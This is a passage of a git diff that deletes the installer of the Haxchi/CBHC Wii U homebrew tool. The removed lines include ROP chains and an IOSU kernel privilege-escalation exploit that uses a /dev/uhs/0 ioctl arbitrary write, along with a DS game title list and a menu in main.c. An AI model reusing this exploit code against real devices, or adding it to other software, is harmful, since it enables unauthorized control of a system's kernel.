POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A04000, // 0x80 value: MOV R4, R0 - 0x0, // 0x84 - 0x10123a8b, // 0x88 POP {R3,R4,PC} - 0x1, // 0x8C R3 must be 1 for the arbitrary write - 0x0, // 0x90 - 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x98 - 0x0, // 0x9C - 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) - 0x0, // 0xA4 - 0x0, // 0xA8 - 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF - 0x0, // 0xB8 - 0x10123a8b, // 0xBC POP {R3,R4,PC} - 0x1, // 0xC0 R3 must be 1 for the arbitrary write - 0x0, // 0xC4 - 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0xCC - 0x0, // 0xD0 - 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) - 0x0, // 0xD8 - 0x0, // 0xDC - 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) - 0x0, // 0xEC - 0x10123a8b, // 0xF0 POP {R3,R4,PC} - 0x1, // 0xF4 R3 must be 1 for the arbitrary write - 0x0, // 0xF8 - 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x100 - 0x0, // 0x104 - 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) - 0x0, // 0x10C - 0x0, // 0x110 - 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A00004, // 0x11C value: MOV R0, R4 - 0x0, // 0x120 - 0x10123a8b, // 0x124 POP {R3,R4,PC} - 0x1, // 0x128 R3 must be 1 for the arbitrary write - 0x0, // 0x12C - 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x134 - 0x0, // 0x138 - 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) - 0x0, // 0x140 - 0x0, // 0x144 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x00000000, // 0x150 value: NOP - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x1AFFFFFD, // 0x150 value: BNE clean_loop - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A03004, // 0x184 value: MOV R3, R4 - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE8BD4010, // 0x184 value: POP {R4,LR} - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) - 0x0, // 0x1BC - 0x10123a8b, // 0x1C0 POP {R3,R4,PC} - 0x1, // 0x1C4 R3 must be 1 for the arbitrary write - 0x0, // 0x1C8 - 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x1D0 - 0x0, // 0x1D4 - 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 - 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches - 0x0, // 0x1E0 - 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - ARM_CODE_BASE, // 0x1E8 our code destination address - 0x0, // 0x1EC - 0x0, // 0x1F0 - 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} - 0x0, // 0x1F8 - sizeof(arm_kernel_bin), // 0x1FC our code size - 0x0, // 0x200 - 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} - 0x01E40000, // 0x208 our code source location - 0x08131D04, // 0x20C KERNEL_MEMCPY address - 0x0, // 0x210 - 0x0, // 0x214 - 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) - 0x0, - 0x0, - 0x101312D0, -}; - -static const int second_chain[] = { - 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} - CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination - 0x0, // 0x08 - 0x0, // 0x0C - 0x101063db, // 0x10 POP {R1,R2,R5,PC} - 0x01E30000, // 0x14 source - sizeof(final_chain), // 0x18 length - 0x0, // 0x1C - 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x101236f3, // 0x2C POP {R1-R7,PC} - 0x0, // 0x30 arg - 0x101001DC, // 0x34 stackptr - 0x68, // 0x38 stacksize - 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x40 - 0x0, // 0x44 - 0x0, // 0x48 - 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x50 - 0x0, // 0x54 - 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x5C - 0x0, // 0x60 - IOS_CREATETHREAD, // 0x64 - 0x1, // 0x68 priority - 0x2, // 0x6C flags - 0x0, // 0x70 - 0x0, // 0x74 - 0x101063db, // 0x78 POP {R1,R2,R5,PC} - 0x0, // 0x7C - -(0x240 + 0x18 + 0xF000), // 0x80 stack offset - 0x0, // 0x84 - 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} - 0x0, - 0x0, - 0x0, - 0x00110000 - 0x44, // 0x8C - 0x00110010, // 0x90 - 0x0, // 0x94 - 0x0, // 0x98 - 0x0, // 0x9C - 0x0, // 0xA0 - 0x0, // 0xA4 - 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack - 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} - 0x0, - 0x0, - 0x1012EA68, // 0xAC stack pivot -}; - -static int dev_uhs_0_handle = -1; -void IOSUExploit() -{ - dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node - uhs_exploit_init(); //! Init variables for the exploit - - //!------ROP CHAIN------- - - uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); - uhs_write32(CHAIN_START + 0x10, 0x1011814C); - uhs_write32(CHAIN_START + 0xC, SOURCE); - - uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} - - IOS_Close(dev_uhs_0_handle); -} - -void uhs_exploit_init() -{ - //! Clear out our used MEM1 area - memset((void*)0xF5E00000, 0, 0x00070000); - DCStoreRange((void*)0xF5E00000, 0x00070000); - - //!------Variables used in exploit------ - int *pretend_root_hub = (int*)0xF5E60640; - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[5] = 1; - ayylmao[8] = 0x1E00000; - - memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); - memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); - memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); - memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); - - pretend_root_hub[33] = 0x1E00000; - pretend_root_hub[78] = 0; - - //! Store current CPU cache into main memory for IOSU to read - DCStoreRange(ayylmao, 0x840); - - DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); - DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); - DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); - DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); - - DCStoreRange(pretend_root_hub, 0x160); -} - -int uhs_write32(int arm_addr, int val) -{ - //!------Variables used in exploit------ - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes - DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read - OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU - //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, - //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 - int request_buffer[] = { -(0xB349B), val }; - int output_buffer[32]; - return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); -} diff --git a/installer/src/exploit.h b/installer/src/exploit.h deleted file mode 100644 index f067635..0000000 --- a/installer/src/exploit.h +++ /dev/null @@ -1,9 +0,0 @@ - -#ifndef _EXPLOIT_H_ -#define _EXPLOIT_H_ - -void IOSUExploit(); -void uhs_exploit_init(void); -int uhs_write32(int, int); - -#endif diff --git a/installer/src/gameList.h b/installer/src/gameList.h deleted file mode 100644 index 82d9544..0000000 --- a/installer/src/gameList.h +++ /dev/null @@ -1,106 +0,0 @@ - -#ifndef _GAMELIST_H_ -#define _GAMELIST_H_ - -#include "zipList.h" - -typedef struct _gList_t { - uint32_t tid; - char name[64]; - u8 *romPtr; - u32 *romSizePtr; -} gList_t; - -gList_t GameList[] = { - { 0x10179A00, "Kawashima: Motto Nou wo Kitaeru Otona no DS Training [JPN]", brainage_zip, &brainage_zip_size }, - { 0x10179B00, "Brain Age: Train Your Brain in Minutes a Day! [USA]", brainage_zip, &brainage_zip_size }, - { 0x10179C00, "Dr. Kawashima's Brain Training [PAL]", brainage_zip, &brainage_zip_size }, - - { 0x10179D00, "Catch! Touch! Yoshi! [JPN]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, - { 0x10179E00, "Yoshi Touch & Go [USA]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, - { 0x10179F00, "Yoshi Touch & Go [PAL]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, - - { 0x10195600, "Mario Kart DS [JPN]", mariokartds_zip, &mariokartds_zip_size }, - { 0x10195700, "Mario Kart DS [USA]", mariokartds_zip, &mariokartds_zip_size }, - { 0x10195800, "Mario Kart DS [PAL]", mariokartds_zip, &mariokartds_zip_size }, - - { 0x10195900, "New Super Mario Bros. [JPN]", newsmb_zip, &newsmb_zip_size }, - { 0x10195A00, "New Super Mario Bros. [USA]", newsmb_zip, &newsmb_zip_size }, - { 0x10195B00, "New Super Mario Bros. [PAL]", newsmb_eur_zip, &newsmb_eur_zip_size }, - - { 0x10198800, "Yoshi's Island DS [JPN]", yoshids_zip, &yoshids_zip_size }, - { 0x10198900, "Yoshi's Island DS [USA]", yoshids_zip, &yoshids_zip_size }, - { 0x10198A00, "Yoshi's Island DS [PAL]", yoshids_zip, &yoshids_zip_size }, - - { 0x10198B00, "Yawaraka Atama Juku [JPN]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, - { 0x10198C00, "Big Brain Academy [USA]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, - { 0x10198D00, "Big Brain Academy [PAL]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, - - { 0x101A1E00, "Sawaru: Made in Wario [JPN]", wwtouched_zip, &wwtouched_zip_size }, - { 0x101A1F00, "WarioWare: Touched! [USA]", wwtouched_zip, &wwtouched_zip_size }, - { 0x101A2000, "WarioWare: Touched! [PAL]", wwtouched_zip, &wwtouched_zip_size }, - - { 0x101A2100, "Mario & Luigi RPG 2x2 [JPN]", partnersintime_zip, &partnersintime_zip_size }, - { 0x101A2200, "Mario & Luigi: Partners in Time [USA]", partnersintime_zip, &partnersintime_zip_size }, - { 0x101A2300, "Mario & Luigi: Partners in Time [PAL]", partnersintime_zip, &partnersintime_zip_size }, - - { 0x101A5200, "Donkey Kong: Jungle Climber [JPN]", dkjclimber_zip, &dkjclimber_zip_size }, - { 0x101A5300, "DK: Jungle Climber [USA]", dkjclimber_zip, &dkjclimber_zip_size }, - { 0x101A5400, "Donkey Kong: Jungle Climber [PAL]", dkjclimber_zip, &dkjclimber_zip_size }, - - { 0x101A5500, "Hoshi no Kirby: Sanjou! Dorocche Dan [JPN]", kirby_zip, &kirby_zip_size }, - { 0x101A5600, "Kirby: Squeak Squad [USA]", kirby_zip, &kirby_zip_size }, - { 0x101A5700, "Kirby: Mouse Attack [PAL]", kirby_zip, &kirby_zip_size }, - - { 0x101ABD00, "Kaitou Wario the Seven [JPN]", masterofdisguise_zip, &masterofdisguise_zip_size }, - { 0x101ABE00, "Wario: Master of Disguise [USA]", masterofdisguise_zip, &masterofdisguise_zip_size }, - { 0x101ABF00, "Wario: Master of Disguise [PAL]", masterofdisguise_zip, &masterofdisguise_zip_size }, - - { 0x101AC000, "Star Fox Command [JPN]", sfcommand_zip, &sfcommand_zip_size }, - { 0x101AC100, "Star Fox Command [USA]", sfcommand_zip, &sfcommand_zip_size }, - { 0x101AC200, "Star Fox Command [PAL]", sfcommand_zip, &sfcommand_zip_size }, - - { 0x101B8800, "Touch! Kirby's Magic Paintbrush [JPN]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, - { 0x101B8900, "Kirby: Canvas Curse [USA]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, - { 0x101B8A00, "Kirby: Power Paintbrush [PAL]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, - - { 0x101B8B00, "Zelda no Densetsu: Daichi no Kiteki [JPN]", zeldast_zip, &zeldast_zip_size }, - { 0x101B8C00, "The Legend of Zelda: Spirit Tracks [USA]", zeldast_zip, &zeldast_zip_size }, - { 0x101B8D00, "The Legend of Zelda: Spirit Tracks [PAL]", zeldast_zip, &zeldast_zip_size }, - - { 0x101C3300, "Super Mario 64 DS [JPN]", sm64ds_zip, &sm64ds_zip_size }, - { 0x101C3400, "Super Mario 64 DS [USA]", sm64ds_zip, &sm64ds_zip_size }, - { 0x101C3500, "Super Mario 64 DS [PAL]", sm64ds_zip, &sm64ds_zip_size }, - - { 0x101C3600, "Zelda no Densetsu: Mugen no Sunadokei [JPN]", zeldaph_zip, &zeldaph_zip_size }, - { 0x101C3700, "The Legend of Zelda: Phantom Hourglass [USA]", zeldaph_zip, &zeldaph_zip_size }, - { 0x101C3800, "The Legend of Zelda: Phantom Hourglass [PAL]", zeldaph_zip, &zeldaph_zip_size }, - - { 0x101C8600, "Atsumete! Kirby [JPN]", kirbymassattack_zip, &kirbymassattack_zip_size }, - { 0x101C8700, "Kirby Mass Attack [USA]", kirbymassattack_zip, &kirbymassattack_zip_size }, - { 0x101C8800, "Kirby Mass Attack [PAL]", kirbymassattack_zip, &kirbymassattack_zip_size }, - - { 0x101CC200, "Pokemon Ranger [JPN]", pokemonranger_zip, &pokemonranger_zip_size }, - { 0x101CC300, "Pokemon Ranger [USA]", pokemonranger_zip, &pokemonranger_zip_size }, - { 0x101CC400, "Pokemon Ranger [PAL]", pokemonranger_zip, &pokemonranger_zip_size }, - - { 0x101D1F00, "Oideyo Doubutsu no Mori [JPN]", animalcrossing_zip, &animalcrossing_zip_size }, - { 0x101D2000, "Animal Crossing: Wild World [USA]", animalcrossing_zip, &animalcrossing_zip_size }, - { 0x101D2100, "Animal Crossing: Wild World [PAL]", animalcrossing_zip, &animalcrossing_zip_size }, - - { 0x101E0C00, "Pokemon Fushigi no Dungeon: Sora no Tankentai [JPN]", explorersofsky_zip, &explorersofsky_zip_size }, - { 0x101E0D00, "Pokemon Mystery Dungeon: Explorers of Sky [USA]", explorersofsky_zip, &explorersofsky_zip_size }, - { 0x101E0E00, "Pokemon Mystery Dungeon: Explorers of Sky [PAL]", explorersofsky_zip, &explorersofsky_zip_size }, - - { 0x101E0F00, "Pokemon Ranger: Batonnage [JPN]", shadowsofalmia_zip, &shadowsofalmia_zip_size }, - { 0x101E1000, "Pokemon Ranger: Shadows of Almia [USA]", shadowsofalmia_zip, &shadowsofalmia_zip_size }, - { 0x101E1100, "Pokemon Ranger: Shadows of Almia [PAL]", shadowsofalmia_zip, &shadowsofalmia_zip_size }, - - { 0x101E6F00, "Pokemon Ranger: Hikari no Kiseki [JPN]", guardiansigns_zip, &guardiansigns_zip_size }, - { 0x101E7000, "Pokemon Ranger: Guardian Signs [USA]", guardiansigns_zip, &guardiansigns_zip_size }, - { 0x101E7100, "Pokemon Ranger: Guardian Signs [PAL]", guardiansigns_zip, &guardiansigns_zip_size }, -}; - -static const int GameListSize = sizeof(GameList) / sizeof(gList_t); - -#endif diff --git a/installer/src/link.ld b/installer/src/link.ld deleted file mode 100644 index fc569d1..0000000 --- a/installer/src/link.ld +++ /dev/null @@ -1,40 +0,0 @@ -OUTPUT(ftpiiu.elf); - -/* Tell linker where our application entry is so the garbage collect can work correct */ -ENTRY(__entry_menu); - -SECTIONS { - . = 0x00802000; - .text : { - *(.text*); - } - .rodata : { - *(.rodata*); - } - .data : { - *(.data*); - - __sdata_start = .; - *(.sdata*); - __sdata_end = .; - - __sdata2_start = .; - *(.sdata2*); - __sdata2_end = .; - } - .bss : { - __bss_start = .; - *(.bss*); - *(.sbss*); - *(COMMON); - __bss_end = .; - } - __CODE_END = .; - - /DISCARD/ : { - *(*); - } -} - -/******************************************************** FS ********************************************************/ -/* coreinit.rpl difference in addresses 0xFE3C00 */ diff --git a/installer/src/main.c b/installer/src/main.c deleted file mode 100644 index adad11d..0000000 --- a/installer/src/main.c +++ /dev/null @@ -1,871 +0,0 @@ -/* - * Copyright (C) 2016-2017 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/gx2_functions.h" -#include "dynamic_libs/sys_functions.h" -#include "dynamic_libs/vpad_functions.h" -#include "system/memory.h" -#include "common/common.h" -#include "main.h" -#include "exploit.h" -#include "gameList.h" -#include "../payload/wupserver_bin.h" - -static const char *sdCardVolPath = "/vol/storage_sdcard"; -#ifdef CB -static const char *systemXmlPath = "/vol/system/config/system.xml"; -static const char *syshaxXmlPath = "/vol/system/config/syshax.xml"; -#endif -//just to be able to call async -void someFunc(void *arg) -{ - (void)arg; -} - -static int mcp_hook_fd = -1; -int MCPHookOpen() -{ - //take over mcp thread - mcp_hook_fd = MCP_Open(); - if(mcp_hook_fd < 0) - return -1; - IOS_IoctlAsync(mcp_hook_fd, 0x62, (void*)0, 0, (void*)0, 0, someFunc, (void*)0); - //let wupserver start up - sleep(1); - if(IOSUHAX_Open("/dev/mcp") < 0) - return -1; - return 0; -} - -void MCPHookClose() -{ - if(mcp_hook_fd < 0) - return; - //close down wupserver, return control to mcp - IOSUHAX_Close(); - //wait for mcp to return - sleep(1); - MCP_Close(mcp_hook_fd); - mcp_hook_fd = -1; -} - -void println_noflip(int line, const char *msg) -{ - OSScreenPutFontEx(0,0,line,msg); - OSScreenPutFontEx(1,0,line,msg); -} - -void println(int line, const char *msg) -{ - int i; - for(i = 0; i < 2; i++) - { //double-buffered font write - println_noflip(line,msg); - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - } -} - -typedef struct _parsedList_t { - uint32_t tid; - char name[64]; - char path[64]; - u8 *romPtr; - u32 romSize; -} parsedList_t; - -int fsa_read(int fsa_fd, int fd, void *buf, int len) -{ - int done = 0; - uint8_t *buf_u8 = (uint8_t*)buf; - while(done < len) - { - size_t read_size = len - done; - int result = IOSUHAX_FSA_ReadFile(fsa_fd, buf_u8 + done, 0x01, read_size, fd, 0); - if(result < 0) - return result; - else - done += result; - } - return done; -} - -int fsa_write(int fsa_fd, int fd, void *buf, int len) -{ - int done = 0; - uint8_t *buf_u8 = (uint8_t*)buf; - while(done < len) - { - size_t write_size = len - done; - int result = IOSUHAX_FSA_WriteFile(fsa_fd, buf_u8 + done, 0x01, write_size, fd, 0); - if(result < 0) - return result; - else - done += result; - } - return done; -} - -int availSort(const void *c1, const void *c2) -{ - return strcmp(((parsedList_t*)c1)->name,((parsedList_t*)c2)->name); -} - -void printhdr_noflip() -{ -#ifdef CB - println_noflip(0,"CBHC v1.6 by FIX94"); -#else - println_noflip(0,"Haxchi v2.5u2 by FIX94"); -#endif - println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok"); -} - -int Menu_Main(void) -{ - InitOSFunctionPointers(); - InitSysFunctionPointers(); - InitVPadFunctionPointers(); - VPADInit(); - memoryInitialize(); - - // Init screen - OSScreenInit(); - int screen_buf0_size = OSScreenGetBufferSizeEx(0); - int screen_buf1_size = OSScreenGetBufferSizeEx(1); - uint8_t *screenBuffer = (uint8_t*)MEMBucket_alloc(screen_buf0_size+screen_buf1_size, 0x100); - OSScreenSetBufferEx(0, screenBuffer); - OSScreenSetBufferEx(1, (screenBuffer + screen_buf0_size)); - OSScreenEnableEx(0, 1); - OSScreenEnableEx(1, 1); - OSScreenClearBufferEx(0, 0); - OSScreenClearBufferEx(1, 0); - - int mcp_handle = MCP_Open(); - int count = MCP_TitleCount(mcp_handle); - int listSize = count*0x61; - char *tList = memalign(32, listSize); //cant be in MEMBucket - memset(tList, 0, listSize); - int recievedCount = count; - MCP_TitleList(mcp_handle, &recievedCount, tList, listSize); - MCP_Close(mcp_handle); - - int gAvailCnt = 0; - parsedList_t *gAvail = (parsedList_t*)MEMBucket_alloc(recievedCount*sizeof(parsedList_t), 4); - memset(gAvail, 0, recievedCount*sizeof(parsedList_t)); - - int i, j; - for(i = 0; i < recievedCount; i++) - { - char *cListElm = tList+(i*0x61); - if(memcmp(cListElm+0x56,"mlc",4) != 0 || *(uint32_t*)(cListElm) != 0x00050000) - continue; - for(j = 0; j < GameListSize; j++) - { - if(*(uint32_t*)(cListElm+4) == GameList[j].tid) - { - gAvail[gAvailCnt].tid = GameList[j].tid; - memcpy(gAvail[gAvailCnt].name, GameList[j].name, 64); - memcpy(gAvail[gAvailCnt].path, cListElm+0xC, 64); - gAvail[gAvailCnt].romPtr = GameList[j].romPtr; - gAvail[gAvailCnt].romSize = *(GameList[j].romSizePtr); - gAvailCnt++; - break; - } - } - } - - int vpadError = -1; - VPADData vpad; - - if(gAvailCnt == 0) - { - printhdr_noflip(); - println_noflip(2,"No games found on NAND! Make sure that you have your DS VC"); - println_noflip(3,"game installed on NAND and have all of your USB Devices"); - println_noflip(4,"disconnected while installing Haxchi as it can lead to issues."); - println_noflip(5,"Press any button to return to Homebrew Launcher."); - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - while(1) - { - usleep(25000); - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError != 0) - continue; - if(vpad.btns_d | vpad.btns_h) - break; - } - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_SUCCESS; - } - - qsort(gAvail,gAvailCnt,sizeof(parsedList_t),availSort); - - u32 redraw = 1; - s32 PosX = 0; - s32 ScrollX = 0; - - s32 ListMax = gAvailCnt; - if( ListMax > 13 ) - ListMax = 13; - - u32 UpHeld = 0, DownHeld = 0; - while(1) - { - usleep(25000); - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError != 0) - continue; - - if((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_HOME) - { - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_SUCCESS; - } - if( vpad.btns_h & VPAD_BUTTON_DOWN ) - { - if(DownHeld == 0 || DownHeld > 10) - { - if( PosX + 1 >= ListMax ) - { - if( PosX + 1 + ScrollX < gAvailCnt) - ScrollX++; - else { - PosX = 0; - ScrollX = 0; - } - } else { - PosX++; - } - redraw = 1; - } - DownHeld++; - } - else - DownHeld = 0; - - if( vpad.btns_h & VPAD_BUTTON_UP ) - { - if(UpHeld == 0 || UpHeld > 10) - { - if( PosX <= 0 ) - { - if( ScrollX > 0 ) - ScrollX--; - else { - PosX = ListMax - 1; - ScrollX = gAvailCnt - ListMax; - } - } else { - PosX--; - } - redraw = 1; - } - UpHeld++; - } - else - UpHeld = 0; - - if( vpad.btns_d & VPAD_BUTTON_A ) - break; - - if( redraw ) - { - OSScreenClearBufferEx(0, 0); - OSScreenClearBufferEx(1, 0); - printhdr_noflip(); - println_noflip(2,"Please select the game for the Installation from the list below."); - // Starting position. - int gamelist_y = 4; - for (i = 0; i < ListMax; ++i, gamelist_y++) - { - const parsedList_t *cur_gi = &gAvail[i+ScrollX]; - char printStr[64]; - sprintf(printStr,"%c %s", i == PosX ? '>' : ' ', cur_gi->name); - println_noflip(gamelist_y, printStr); - } - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - redraw = 0; - } - } 